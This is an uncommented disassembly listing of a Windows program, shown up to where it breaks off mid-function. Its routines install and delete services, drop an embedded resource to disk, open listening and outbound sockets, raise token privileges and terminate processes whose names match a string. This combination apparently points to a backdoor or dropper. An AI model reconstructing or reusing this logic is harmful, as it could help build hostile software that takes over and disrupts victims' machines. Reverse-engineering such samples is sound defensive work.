arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_13C9EDB
		dec	eax
		jz	short loc_13C9EC4
		dec	eax
		jnz	short loc_13C9F01
		mov	ecx, ds:dword_1029D10
		mov	ds:dword_1029CF4, 4
		call	sub_13AC1CA
		jmp	short loc_13C9F01
; ---------------------------------------------------------------------------


loc_13C9EC4:				; CODE XREF: sub_13C9EA0+8j
		mov	ecx, ds:dword_1029D10
		mov	ds:dword_1029CF4, 7
		call	sub_13AB428
		jmp	short loc_13C9F01
; ---------------------------------------------------------------------------


loc_13C9EDB:				; CODE XREF: sub_13C9EA0+5j
		mov	ecx, ds:dword_1029D10
		xor	eax, eax
		mov	ds:dword_1029CFC, eax
		mov	ds:dword_1029CF4, 1
		mov	ds:dword_1029D04, eax
		mov	ds:dword_1029D08, eax
		call	sub_13ABB44


loc_13C9F01:				; CODE XREF: sub_13C9EA0+Bj
					; sub_13C9EA0+22j ...
		mov	eax, ds:dword_1029D14
		push	offset dword_1029CF0
		push	eax
		mov	ds:dword_1029CF4, 4
		call	SetServiceStatus	; SetServiceStatus
		retn	4
sub_13C9EA0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C9F40	proc near		; CODE XREF: sub_13ABD56j
		push	esi
		xor	esi, esi
		push	401ABEh
		mov	ecx, offset byte_44795F
		mov	ds:dword_1029CF0, 20h
		mov	ds:dword_1029CF4, 2
		mov	ds:dword_1029CF8, 3
		mov	ds:dword_1029CFC, esi
		mov	ds:dword_1029D00, esi
		mov	ds:dword_1029D04, esi
		mov	ds:dword_1029D08, esi
		call	sub_13ABBE4
		push	eax
		call	RegisterServiceCtrlHandlerA	; RegisterServiceCtrlHandlerA
		cmp	eax, esi
		mov	ds:dword_1029D14, eax
		jz	short loc_13C9FBA
		push	offset dword_1029CF0
		push	eax
		mov	ds:dword_1029CF4, 4
		mov	ds:dword_1029D04, esi
		mov	ds:dword_1029D08, esi
		call	SetServiceStatus	; SetServiceStatus


loc_13C9FBA:				; CODE XREF: sub_13C9F40+56j
		pop	esi
		retn	8
sub_13C9F40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C9FE0	proc near		; CODE XREF: sub_13AB469j
		push	esi
		mov	esi, ecx
		call	sub_13AC26A
		mov	dword ptr [esi], offset	dword_43E068
		mov	eax, esi
		pop	esi
		retn
sub_13C9FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA010	proc near		; CODE XREF: sub_13AC0DFj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	ds:dword_1029D10, ecx
		push	100h
		mov	ecx, offset byte_44795F
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		call	strncpy	; strncpy
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], 401956h
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		call	StartServiceCtrlDispatcherA	; StartServiceCtrlDispatcherA
		xor	eax, eax
		add	esp, 110h
		retn
sub_13CA010	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA090	proc near		; CODE XREF: sub_13AC030j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	offset dword_443F20
		push	eax
		call	fopen	; fopen
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_13CA0B2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13CA0B2:				; CODE XREF: sub_13CA090+1Aj
		mov	ecx, [esp+0Ch+arg_8]
		push	ecx
		call	GetModuleHandleA	; GetModuleHandleA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_13CA0C9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13CA0C9:				; CODE XREF: sub_13CA090+31j
		mov	edx, [esp+0Ch+arg_4]
		push	offset dword_44411C
		and	edx, 0FFFFh
		push	edx
		push	esi
		call	FindResourceA	; FindResourceA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_13CA0EC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13CA0EC:				; CODE XREF: sub_13CA090+54j
		push	ebp
		push	edi
		push	esi
		call	LoadResource	; LoadResource
		push	edi
		push	esi
		mov	ebp, eax
		call	SizeofResource	; SizeofResource
		push	ebp
		mov	esi, eax
		call	LockResource	; LockResource
		push	ebx
		push	esi
		push	1
		push	eax
		call	fwrite	; fwrite
		push	ebx
		call	fclose	; fclose
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_13CA090	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA160	proc near		; CODE XREF: sub_13ABC7Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	inet_addr	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13CA188
		push	esi
		call	gethostbyname	; gethostbyname
		test	eax, eax
		jnz	short loc_13CA181
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13CA181:				; CODE XREF: sub_13CA160+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_13CA188:				; CODE XREF: sub_13CA160+Fj
		pop	esi
		retn
sub_13CA160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA1A0	proc near		; CODE XREF: sub_13ABE8Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	socket	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_13CA1BE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13CA1BE:				; CODE XREF: sub_13CA1A0+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	htons	; htons
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_13ABC7F
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		call	connect	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13CA21A
		push	esi
		call	closesocket	; closesocket
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13CA21A:				; CODE XREF: sub_13CA1A0+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_13CA1A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA260	proc near		; CODE XREF: sub_13ABD7Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	socket	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_13CA27E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13CA27E:				; CODE XREF: sub_13CA260+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	htons	; htons
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		call	bind	; bind
		test	eax, eax
		jz	short loc_13CA2D0
		push	esi
		call	closesocket	; closesocket
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13CA2D0:				; CODE XREF: sub_13CA260+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_13CA260	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA300	proc near		; CODE XREF: sub_13AB6DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		call	listen	; listen
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13CA334
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		call	accept	; accept
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13CA337


loc_13CA334:				; CODE XREF: sub_13CA300+14j
		or	eax, 0FFFFFFFFh


loc_13CA337:				; CODE XREF: sub_13CA300+32j
		pop	esi
		add	esp, 10h
		retn
sub_13CA300	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA350	proc near		; CODE XREF: sub_13AC3EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_13CA386
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	listen	; listen
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13CA386
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		call	accept	; accept
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13CA389


loc_13CA386:				; CODE XREF: sub_13CA350+8j
					; sub_13CA350+1Aj
		or	eax, 0FFFFFFFFh


loc_13CA389:				; CODE XREF: sub_13CA350+34j
		pop	edi
		pop	esi
		retn
sub_13CA350	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA3A0	proc near		; CODE XREF: sub_13AB9FAj

var_41		= byte ptr -41h
var_3D		= byte ptr -3Dh
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h
arg_10DC	= dword	ptr  10E0h

		mov	eax, 1114h
		call	near ptr 13E0C60h
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	near ptr 13E13E0h
		test	eax, eax
		jnz	short loc_13CA3D3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_13CA3D3:				; CODE XREF: sub_13CA3A0+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_13CA49D
		push	ebx
		mov	ebx, OpenProcess
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_13CA3F5:				; CODE XREF: sub_13CA3A0+F3j
		mov	edi, offset dword_444124
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+1Ch+arg_0]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx ; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_13CA487
		lea	edx, [esp+28h+var_10]
		lea	eax, [esp+28h+var_C]
		push	edx
		push	4
		push	eax
		push	esi
		call	near ptr 13E13DAh
		test	eax, eax
		jz	short loc_13CA480
		mov	edx, [esp+38h+var_1C]
		lea	ecx, [esp+38h+var_18]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	near ptr 13E13D4h
		mov	eax, [esp+48h+arg_10DC]
		lea	ecx, [esp+48h+var_28]
		push	eax
		push	ecx
		call	_strcmpi	; _strcmpi
		add	esp, 8
		test	eax, eax
		jnz	short loc_13CA480
		push	eax
		push	esi
		call	TerminateProcess	; TerminateProcess
		mov	[esp+50h+var_3D], 1


loc_13CA480:				; CODE XREF: sub_13CA3A0+A2j
					; sub_13CA3A0+D1j
		push	esi
		call	CloseHandle	; CloseHandle


loc_13CA487:				; CODE XREF: sub_13CA3A0+8Cj
		mov	eax, [esp+14h]
		add	ebp, 4
		dec	eax
		mov	[esp+14h], eax
		jnz	loc_13CA3F5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_13CA49D:				; CODE XREF: sub_13CA3A0+3Aj
		mov	al, [esp+44h+var_41]
		add	esp, 1114h
		retn
sub_13CA3A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA500	proc near		; CODE XREF: sub_13ABDFBj

var_498		= byte ptr -498h
var_494		= byte ptr -494h
var_48C		= byte ptr -48Ch
var_488		= byte ptr -488h
var_485		= byte ptr -485h
var_484		= byte ptr -484h
var_47C		= byte ptr -47Ch
var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_440		= byte ptr -440h
var_43C		= byte ptr -43Ch
var_428		= byte ptr -428h
var_424		= byte ptr -424h
var_58		= dword	ptr -58h
var_50		= dword	ptr -50h
var_3C		= byte ptr -3Ch
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	43B322h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_13ABC61
		push	eax
		mov	[esp+468h+var_8], 0
		call	sub_13AC28D
		add	esp, 4
		lea	ecx, [esp+464h+var_428]
		mov	bl, al
		mov	[esp+464h+var_8], 0FFFFFFFFh
		call	sub_13AB626
		test	bl, bl
		jz	loc_13CA67A
		lea	ecx, [esp+464h+var_440]
		call	sub_13AB824
		push	esi
		lea	eax, [esp+468h+var_440]
		mov	ebx, 1
		push	offset dword_44413C
		push	eax
		mov	[esp+470h+var_8], ebx
		mov	[esp+470h+var_458], 0
		mov	[esp+470h+var_454], 80h
		call	sub_13AB42D
		add	esp, 0Ch
		lea	ecx, [esp+464h+var_458]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+470h+var_440]
		call	sub_13ABA81
		push	eax
		push	80000002h
		call	RegOpenKeyExA	; RegOpenKeyExA
		mov	ecx, [esp+478h+var_46C]
		lea	edx, [esp+478h+var_468]
		lea	eax, [esp+478h+var_424]
		push	edx
		push	eax
		push	0
		push	0
		push	offset dword_444130
		push	ecx
		call	RegQueryValueExA	; RegQueryValueExA
		lea	edx, [esp+490h+var_485]
		lea	eax, [esp+490h+var_43C]
		push	edx
		push	eax
		lea	ecx, [esp+498h+var_47C]
		call	??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z
		mov	ecx, ?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB
		mov	[esp+498h+var_3C], 2
		mov	edx, [ecx]
		lea	ecx, [esp+498h+var_484]
		push	edx
		push	offset dword_443B14
		call	?find_last_of@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIPBDI@Z
		inc	eax
		lea	ecx, [esp+4A0h+var_48C]
		push	eax
		push	0
		call	?erase@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@II@Z
		lea	ecx, [esp+4A8h+var_494]
		call	?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+4A8h+var_484]
		call	sub_13ABA81
		push	eax
		call	DeleteFileA	; DeleteFileA
		lea	ecx, [esp+4ACh+var_498]
		mov	byte ptr [esp+4ACh+var_50], bl
		call	??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ
		lea	ecx, [esp+4ACh+var_488]
		mov	[esp+4ACh+var_50], 0FFFFFFFFh
		call	sub_13AB626
		mov	al, bl
		pop	esi
		pop	ebx
		mov	ecx, [esp+4A4h+var_58]
		mov	large fs:0, ecx
		add	esp, 458h
		retn
; ---------------------------------------------------------------------------


loc_13CA67A:				; CODE XREF: sub_13CA500+5Aj
		mov	ecx, [esp+464h+var_10]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_13CA500	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA710	proc near		; CODE XREF: sub_13AC28Dj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset dword_443C18
		push	0
		call	OpenSCManagerA	; OpenSCManagerA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_13CA735
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_13CA735:				; CODE XREF: sub_13CA710+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_13ABBE4
		push	eax
		push	ebx
		call	OpenServiceA	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_13CA760
		push	ebx
		call	CloseServiceHandle	; CloseServiceHandle
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_13CA760:				; CODE XREF: sub_13CA710+3Fj
		push	ebp
		push	edi
		mov	edi, DeleteService
		push	esi
		call	edi ; DeleteService
		push	esi
		call	edi ; DeleteService
		mov	ebp, ControlService
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp ; ControlService
		push	esi
		call	edi ; DeleteService
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp ; ControlService
		push	esi
		mov	esi, CloseServiceHandle
		call	esi ; CloseServiceHandle
		push	ebx
		call	esi ; CloseServiceHandle
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_13CA710	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA7E0	proc near		; CODE XREF: sub_13ABCA7j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		call	GetCurrentThread	; GetCurrentThread
		push	eax
		call	OpenThreadToken	; OpenThreadToken
		mov	ebp, AdjustTokenPrivileges
		mov	edi, CloseHandle
		test	eax, eax
		jnz	short loc_13CA830
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		call	GetCurrentProcess	; GetCurrentProcess
		push	eax
		call	OpenProcessToken	; OpenProcessToken
		test	eax, eax
		jz	short loc_13CA88F


loc_13CA830:				; CODE XREF: sub_13CA7E0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_13CA893
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset dword_444168
		push	esi
		mov	[esp+44h+var_14], 2
		call	LookupPrivilegeValueA	; LookupPrivilegeValueA
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp ; AdjustTokenPrivileges
		test	eax, eax
		jz	short loc_13CA888
		call	GetLastError
		cmp	eax, 514h
		jnz	short loc_13CA893
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_13CA88D
; ---------------------------------------------------------------------------


loc_13CA888:				; CODE XREF: sub_13CA7E0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_13CA88D:				; CODE XREF: sub_13CA7E0+A6j
		call	edi ; CloseHandle


loc_13CA88F:				; CODE XREF: sub_13CA7E0+4Ej
		mov	[esp+38h+var_28], esi


loc_13CA893:				; CODE XREF: sub_13CA7E0+54j
					; sub_13CA7E0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		call	OpenProcess	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_13CA8B8
		push	0
		push	esi
		call	TerminateProcess	; TerminateProcess
		push	esi
		mov	bl, 1
		call	edi ; CloseHandle


loc_13CA8B8:				; CODE XREF: sub_13CA7E0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_13CA8D7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp ; AdjustTokenPrivileges
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi ; CloseHandle


loc_13CA8D7:				; CODE XREF: sub_13CA7E0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_13CA7E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CA940	proc near		; CODE XREF: sub_13AB5D6j

var_70		= dword	ptr -70h
var_5C		= byte ptr -5Ch
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_43		= dword	ptr -43h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10BC	= dword	ptr  10C0h
arg_10C8	= dword	ptr  10CCh
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	43B34Bh
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	near ptr 13E0C60h
		push	esi
		push	offset dword_4441C0
		call	GetModuleHandleA	; GetModuleHandleA
		test	eax, eax
		mov	ds:dword_1029D18, eax
		jnz	short loc_13CA98C
		push	offset dword_4441C0
		call	LoadLibraryA	; LoadLibraryA
		test	eax, eax
		mov	ds:dword_1029D18, eax
		jz	loc_13CAB0A


loc_13CA98C:				; CODE XREF: sub_13CA940+32j
		mov	esi, GetProcAddress
		push	offset dword_4441B0
		push	eax
		call	esi ; GetProcAddress
		mov	ds:dword_1029D1C, eax
		mov	eax, ds:dword_1029D18
		push	offset dword_444198
		push	eax
		call	esi ; GetProcAddress
		mov	ecx, ds:dword_1029D18
		push	offset dword_44417C
		push	ecx
		mov	ds:dword_1029D20, eax
		call	esi ; GetProcAddress
		mov	ecx, ds:dword_1029D1C
		mov	ds:dword_1029D24, eax
		test	ecx, ecx
		jz	loc_13CAB0A
		mov	edx, ds:dword_1029D20
		test	edx, edx
		jz	loc_13CAB0A
		test	eax, eax
		jz	loc_13CAB0A
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx ; dword_1029D1C
		test	eax, eax
		jz	loc_13CAB0A
		mov	ecx, ds:dword_444124
		mov	eax, ds:dword_444128
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_13CAAF1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, OpenProcess
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_13CAA4F:				; CODE XREF: sub_13CA940+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp ; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_13CAADD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	ds:dword_1029D20
		test	eax, eax
		jz	short loc_13CAAD6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	ds:dword_1029D24
		lea	ecx, [esp+74h+var_54]
		call	sub_13ABC66
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_13AB9D7
		mov	ecx, [edi]
		lea	edx, [esp+78h+var_58]
		mov	[esp+78h+var_43], ecx
		push	edx
		mov	ecx, ebx
		call	sub_13AC567
		lea	ecx, [esp+7Ch+var_5C]
		mov	[esp+7Ch+arg_10C8], 0FFFFFFFFh
		call	sub_13ABE6E


loc_13CAAD6:				; CODE XREF: sub_13CA940+136j
		push	esi
		call	CloseHandle	; CloseHandle


loc_13CAADD:				; CODE XREF: sub_13CA940+11Fj
		mov	eax, [esp+80h+var_70]
		add	edi, 4
		dec	eax
		mov	[esp+80h+var_70], eax
		jnz	loc_13CAA4F
		pop	ebp
		pop	ebx


loc_13CAAF1:				; CODE XREF: sub_13CA940+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+70h+arg_10BC]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_13CAB0A:				; CODE XREF: sub_13CA940+46j
					; sub_13CA940+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_13CA940	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CABB0	proc near		; CODE XREF: sub_13ABC66j
		push	esi
		mov	esi, ecx
		call	sub_13AB824
		mov	eax, esi
		pop	esi
		retn
sub_13CABB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13CABD0	proc near		; CODE XREF: sub_13ABE6Ej
		jmp	sub_13AB626
sub_13CABD0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CABF0	proc near		; CODE XREF: sub_13AC544j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4F0		= byte ptr -4F0h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
